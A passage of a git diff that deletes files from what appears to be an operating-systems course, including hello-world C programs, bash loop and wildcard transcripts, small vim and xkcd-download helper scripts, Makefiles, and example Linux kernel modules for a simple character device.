-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210423/test-3.c b/20210423/test-3.c
deleted file mode 100644
index b12567c05cf7cf3d7b90f0f22635e78c3bcb6819..0000000000000000000000000000000000000000
--- a/20210423/test-3.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hallo, world!\n");
-  return 0;
-}
diff --git a/20210423/test-4.c b/20210423/test-4.c
deleted file mode 100644
index c79c1c33e2c85d817fe9abfe7f6f52f4cde29996..0000000000000000000000000000000000000000
--- a/20210423/test-4.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Bonjour le monde !\n");
-  return 0;
-}
diff --git a/20210423/test-5.c b/20210423/test-5.c
deleted file mode 100644
index 5f428754dd482e6044245d267994223e04856f6f..0000000000000000000000000000000000000000
--- a/20210423/test-5.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Bonjour le monde !\n");
-  return 1;
-}
diff --git a/20210423/test-6.c b/20210423/test-6.c
deleted file mode 100644
index 08ad6a1254fc4d660e24087fa401156bde9245da..0000000000000000000000000000000000000000
--- a/20210423/test-6.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Bonjour le monde !\n")
-  return 1
-}
diff --git a/20210423/test.bc b/20210423/test.bc
deleted file mode 100644
index a922b775b5315bf2bc04d96cbdaba8d32c911404..0000000000000000000000000000000000000000
--- a/20210423/test.bc
+++ /dev/null
@@ -1 +0,0 @@
-2 + 2
diff --git a/20210423/test.txt b/20210423/test.txt
deleted file mode 100644
index 25cd896083bf6c919d1d2b70b8b06122e72cf5ca..0000000000000000000000000000000000000000
--- a/20210423/test.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Dies ist ein Test.
-Dies auch.
diff --git a/20210423/unix-20210423.pdf b/20210423/unix-20210423.pdf
deleted file mode 120000
index 5088e123b7cf3a13f3e818d8be9c5b5c70f0b056..0000000000000000000000000000000000000000
--- a/20210423/unix-20210423.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../20210409/unix-20210409.pdf
\ No newline at end of file
diff --git a/20210423/unix-20210423.tex b/20210423/unix-20210423.tex
deleted file mode 120000
index 8548cff5b6f4928e1bacf91d66f0f6d1ed4966da..0000000000000000000000000000000000000000
--- a/20210423/unix-20210423.tex
+++ /dev/null
@@ -1 +0,0 @@
-../20210409/unix-20210409.tex
\ No newline at end of file
diff --git a/20210423/vic b/20210423/vic
deleted file mode 100755
index 063daa1366b11b0914121af554892a2e2c68183f..0000000000000000000000000000000000000000
--- a/20210423/vic
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/bash
-
-debug=false
-
-if [ $# -gt 0 ]; then
-  $debug && echo "parameters = $@"
-  shift $(( $# - 1 ))
-  file_template="$1"
-else
-  file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-fi
-
-$debug && echo "file_template = $file_template"
-
-file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/')
-file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/')
-
-$debug && echo "file_extension = $file_extension"
-$debug && echo "file_base = $file_base"
-
-file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/')
-file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/')
-
-$debug && echo "file_number = $file_number"
-$debug && echo "file_number = $file_stem"
-
-while [ -e "$file_stem-$file_number.$file_extension" ]; do
-  file_number=$((file_number + 1))
-done
-new_file_name="$file_stem-$file_number.$file_extension"
-
-$debug && echo "new_file_name = $new_file_name" && read junk
-
-cp -pi "$file_template" "$new_file_name"
-#$EDITOR "$new_file_name"
-/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \
-  "$new_file_name"
-clear
-cat "$new_file_name"
diff --git a/20210423/vicat b/20210423/vicat
deleted file mode 100755
index c3565c648e9320f871f275b135cef86d4c918ebd..0000000000000000000000000000000000000000
--- a/20210423/vicat
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' "$@"
-clear
-shift $(( $# - 1 ))
-cat "$1"
diff --git a/20210423/while-1.txt b/20210423/while-1.txt
deleted file mode 100644
index a4492468164b8eac520137d6b0ee2fee75d73b29..0000000000000000000000000000000000000000
--- a/20210423/while-1.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> while true; do echo "Hello, world!"; sleep 1; done
-Hello, world!
-Hello, world!
-Hello, world!
-Hello, world!
-Hello, world!
-Hello, world!
-^C
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/while-2.txt b/20210423/while-2.txt
deleted file mode 100644
index 3920a02af05ba9acec1de7c974d48d2f58a78fc9..0000000000000000000000000000000000000000
--- a/20210423/while-2.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> while 1 < 2; do echo "Hello, world!"; sleep 1; done
-bash: 2: Datei oder Verzeichnis nicht gefunden
-cassini/home/peter/bo/2021ss/bs/20210423> while [[ 1 < 2 ]]; do echo "Hello, world!"; sleep 1; done
-Hello, world!
-Hello, world!
-Hello, world!
-Hello, world!
-Hello, world!
-Hello, world!
-^C
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/while-3.txt b/20210423/while-3.txt
deleted file mode 100644
index d90662084ec2f492a2ad34962b95b337e4892961..0000000000000000000000000000000000000000
--- a/20210423/while-3.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> while [[ 1 ]]; do echo "Hello, world!"; sleep 1; doneHello, world!
-Hello, world!
-Hello, world!
-^C
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/wildcards-1.txt b/20210423/wildcards-1.txt
deleted file mode 100644
index be63f871cba519dea269f74017800e6f6ebe0284..0000000000000000000000000000000000000000
--- a/20210423/wildcards-1.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> touch test-1.c test-2.c
-cassini/home/peter/bo/2021ss/bs/20210423> ls -lrt
-insgesamt 0
-lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
-lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
--rw-r--r-- 1 peter peter  0 Apr 23 11:34 test-2.c
--rw-r--r-- 1 peter peter  0 Apr 23 11:34 test-1.c
-cassini/home/peter/bo/2021ss/bs/20210423> mkdir test
-cassini/home/peter/bo/2021ss/bs/20210423> cd test/
-cassini/home/peter/bo/2021ss/bs/20210423/test> mv ../test*.c
-cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l
-insgesamt 0
-cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l ..
-insgesamt 4
-drwxr-xr-x 2 peter peter 4096 Apr 23 11:34 test
--rw-r--r-- 1 peter peter    0 Apr 23 11:34 test-2.c
-lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
-lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
-cassini/home/peter/bo/2021ss/bs/20210423/test>
diff --git a/20210423/wildcards-2.txt b/20210423/wildcards-2.txt
deleted file mode 100644
index d42e553e09454a564d0b8da903de9229d75d7c1f..0000000000000000000000000000000000000000
--- a/20210423/wildcards-2.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> ls -l
-insgesamt 8
-drwxr-xr-x 2 peter peter 4096 Apr 23 11:37 test
-lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
-lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
--rw-r--r-- 1 peter peter 1045 Apr 23 11:36 wildcards-1.txt
-cassini/home/peter/bo/2021ss/bs/20210423> touch test-1.c test-2.c
-cassini/home/peter/bo/2021ss/bs/20210423> cd test/
-cassini/home/peter/bo/2021ss/bs/20210423/test> echo mv ../test-*.c
-mv ../test-1.c ../test-2.c
-cassini/home/peter/bo/2021ss/bs/20210423/test> mv ../test-*.c
-cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l
-insgesamt 0
-cassini/home/peter/bo/2021ss/bs/20210423/test> cd ..
-cassini/home/peter/bo/2021ss/bs/20210423> ls -l
-insgesamt 8
-drwxr-xr-x 2 peter peter 4096 Apr 23 11:37 test
--rw-r--r-- 1 peter peter    0 Apr 23 11:37 test-2.c
-lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
-lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
--rw-r--r-- 1 peter peter 1045 Apr 23 11:36 wildcards-1.txt
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/wildcards-3.txt b/20210423/wildcards-3.txt
deleted file mode 100644
index 2ab73de48e5fec561ce24442f5b66935a3a2855a..0000000000000000000000000000000000000000
--- a/20210423/wildcards-3.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> mv -i ../find-*.txt
-mv: das angegebene Ziel '../find-5.txt' ist kein Verzeichnis
-cassini/home/peter/bo/2021ss/bs/20210423> echo mv -i ../find-*.txt
-mv -i ../find-1.txt ../find-2.txt ../find-3.txt ../find-5.txt
-cassini/home/peter/bo/2021ss/bs/20210423> echo mv -i ../find-[15].txt
-mv -i ../find-1.txt ../find-5.txt
-cassini/home/peter/bo/2021ss/bs/20210423> mv -i ../find-[15].txt
-mv: '../find-5.txt' überschreiben? n
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/xkcd b/20210423/xkcd
deleted file mode 100755
index 9964c95684e445d54fa4d26b6eb096257bed767c..0000000000000000000000000000000000000000
--- a/20210423/xkcd
+++ /dev/null
@@ -1,42 +0,0 @@
-#!/bin/sh
-
-set -e
-
-prefix="${1:-xkcd}"
-suffix="$2"
-url=$(xsel)
-
-filebase="$prefix-$(echo $url | sed -e 's/^.*\///')"
-filename="$filebase$suffix"
-orig_filename=$(echo $filename | sed -e 's/\.png$/-orig.png/')
-if [ -e "$orig_filename" ]; then
-  echo -n "$orig_filename exists. Press ENTER to proceed, ^C to abort. "
-  read junk
-fi
-
-if [ -e "$filename" ]; then
-  mv "$filename" "$orig_filename"
-fi
-
-if [ "$prefix" = "xkcd" ]; then
-  url2=$(echo $url | sed -e 's/\.png$/_2x.png/')
-  filename2=$(echo $filename | sed -e 's/\.png$/_2x.png/')
-  if [ -e "$filename2" ]; then
-    echo -n "$filename2 exists. Press ENTER to proceed, ^C to abort. "
-    read junk
-  fi
-  wget "$url" -O "$filename"
-  wget "$url2" -O "$filename2"
-  ls -l "$filename" "$filename2"
-  test -s "$filename2" || rm "$filename2"
-else
-  wget "$url" -O "$filename"
-  ls -l "$filename"
-fi
-
-if [ -e "$orig_filename" ]; then
-  if diff "$orig_filename" "$filename"; then
-    echo "$filename unchanged"
-    mv "$orig_filename" "$filename"
-  fi
-fi
diff --git a/20210430/Makefile b/20210430/Makefile
deleted file mode 120000
index 134aa0a7e9fd70818ec2dbee3f7201a161389434..0000000000000000000000000000000000000000
--- a/20210430/Makefile
+++ /dev/null
@@ -1 +0,0 @@
-Makefile-modules-2
\ No newline at end of file
diff --git a/20210430/Makefile-1 b/20210430/Makefile-1
deleted file mode 100644
index 6176ca2ae44724e1c600350f8a9f3cb97baa74aa..0000000000000000000000000000000000000000
--- a/20210430/Makefile-1
+++ /dev/null
@@ -1,2 +0,0 @@
-hello-3: hello-3.c
-	gcc -Wall -O hello-3.c -o hello-3
diff --git a/20210430/Makefile-2 b/20210430/Makefile-2
deleted file mode 100644
index 4d111b46792c7bdf29ea38bfc9e31ebb38e6484a..0000000000000000000000000000000000000000
--- a/20210430/Makefile-2
+++ /dev/null
@@ -1,5 +0,0 @@
-TARGET = hello-3
-CFLAGS = -Wall -O
-
-$(TARGET): hello-3.c
-	gcc $(CFLAGS) hello-3.c -o hello-3
diff --git a/20210430/Makefile-3 b/20210430/Makefile-3
deleted file mode 100644
index 4c57b77d9975700f8790e9b677300a02b389e2c3..0000000000000000000000000000000000000000
--- a/20210430/Makefile-3
+++ /dev/null
@@ -1,5 +0,0 @@
-TARGET = hello-3
-CFLAGS = -Wall -O
-
-$(TARGET): $(TARGET).c
-	gcc $(CFLAGS) $< -o $(TARGET)
diff --git a/20210430/Makefile-modules-1 b/20210430/Makefile-modules-1
deleted file mode 100644
index 9c79a1d26b3f4b8e6490addcc38333ee13ecef48..0000000000000000000000000000000000000000
--- a/20210430/Makefile-modules-1
+++ /dev/null
@@ -1,10 +0,0 @@
-obj-m += hellomod-1.o
-
-# obj-m += hellomod-2.o
-# obj-m += chardev-1.o
-
-all:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20210430/Makefile-modules-2 b/20210430/Makefile-modules-2
deleted file mode 100644
index 8c9b708954395ea97aa4b355d93269b083ddfeb8..0000000000000000000000000000000000000000
--- a/20210430/Makefile-modules-2
+++ /dev/null
@@ -1,9 +0,0 @@
-obj-m = hellomod-1.o
-obj-m += hellomod-2.o
-obj-m += chardev-1.o
-
-all:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20210430/chardev-1.c b/20210430/chardev-1.c
deleted file mode 100644
index 17a6651a33313322de202fbcb6bbf82333c0b766..0000000000000000000000000000000000000000
--- a/20210430/chardev-1.c
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20210430/chardev-2.c b/20210430/chardev-2.c
deleted file mode 100644
index 54b8e3f30a580c7896ea18a0e4358059a6c03a48..0000000000000000000000000000000000000000
--- a/20210430/chardev-2.c
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/device.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-struct class *dev_Class;
-struct device *chr_dev;
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-        // Create module class
-        printk(KERN_INFO "Creating device class LCD...\n");
-        dev_Class = class_create(THIS_MODULE,DEVICE_NAME);
-        if( dev_Class == NULL)
-        {
-            printk( KERN_ALERT "Error! Class couldn't be created!\n" );
-            return 1 ;
-        }
-        printk( KERN_INFO "Class created!\n" );
-        // Create device in /dev/...
-        printk(KERN_INFO "Creating device\n");
-        chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME);
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20210430/chardev-3.c b/20210430/chardev-3.c
deleted file mode 100644
index 516a074f806e3f600009b39ca912bf5ab69e3989..0000000000000000000000000000000000000000
--- a/20210430/chardev-3.c
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/device.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-MODULE_LICENSE("GPL");
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-struct class *dev_Class;
-struct device *chr_dev;
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-        // Create module class
-        printk (KERN_INFO "Creating device class \"chardev\" ...\n");
-        dev_Class = class_create (THIS_MODULE,DEVICE_NAME);
-        if( dev_Class == NULL)
-        {
-            printk (KERN_ALERT "Error! Class couldn't be created!\n");
-            return 1;
-        }
-        printk (KERN_INFO "Class created!\n");
-        // Create device in /dev/...
-        printk (KERN_INFO "Creating device\n");
-        chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME);
-        if (chr_dev == NULL)
-        {
-            printk( KERN_ALERT "Error! Device couldn't be created!\n" );
-            return 1 ;
-        }
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-        printk(KERN_INFO "module chardev-4 cleanup\n");
-        //Unregister the device
-        if (chr_dev)
-          {
-            printk(KERN_INFO "Unregister device ...\n");
-            device_unregister(chr_dev);
-            printk(KERN_INFO "OK\n");
-          }
-
-        if (dev_Class)
-          {
-            printk(KERN_INFO "Unregister class ...\n");
-            class_unregister(dev_Class);
-            printk(KERN_INFO "OK\n");
-          }
-
-        printk(KERN_INFO "Unregister Chardev ...\n");
-        unregister_chrdev(Major, DEVICE_NAME);
-        printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20210430/freedos.hd b/20210430/freedos.hd
deleted file mode 100644
index bf24ea7697c79c81cbb1ff01ddb015a63faff730..0000000000000000000000000000000000000000
Binary files a/20210430/freedos.hd and /dev/null differ
diff --git a/20210430/hello-1.c b/20210430/hello-1.c
deleted file mode 100644
index 95edc4536cc17900a3dbb69c4ca9e3c66ec8da93..0000000000000000000000000000000000000000
--- a/20210430/hello-1.c
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("");
-  printf ("H");
-  printf ("e");
-  printf ("l");
-  printf ("l");
-  printf ("o");
-  return 0;
-}
diff --git a/20210430/hello-2.c b/20210430/hello-2.c
deleted file mode 100644
index 420d2eb570e62d4e7dbe2f7aaf351d5d55a9ff7a..0000000000000000000000000000000000000000
--- a/20210430/hello-2.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("\x1b[H\x1b[J");
-  printf ("\x1b[00m\x1b[01;35m");
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210430/hello-3.c b/20210430/hello-3.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210430/hello-3.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210430/hellomod-1.c b/20210430/hellomod-1.c
deleted file mode 100644
index a9fef793369a4e24da98b91e1bb7c651190ceea2..0000000000000000000000000000000000000000
--- a/20210430/hellomod-1.c
+++ /dev/null
@@ -1,20 +0,0 @@
-/*  
- *  hello-1.c - The simplest kernel module.
- */
-#include <linux/module.h>	/* Needed by all modules */
-#include <linux/kernel.h>	/* Needed for KERN_INFO */
-
-int init_module(void)
-{
-	printk(KERN_INFO "Hello world 1.\n");
-
-	/* 
-	 * A non 0 return means init_module failed; module can't be loaded. 
-	 */
-	return 0;
-}
-
-void cleanup_module(void)
-{
-	printk(KERN_INFO "Goodbye world 1.\n");
-}
diff --git a/20210430/hellomod-2.c b/20210430/hellomod-2.c
deleted file mode 100644
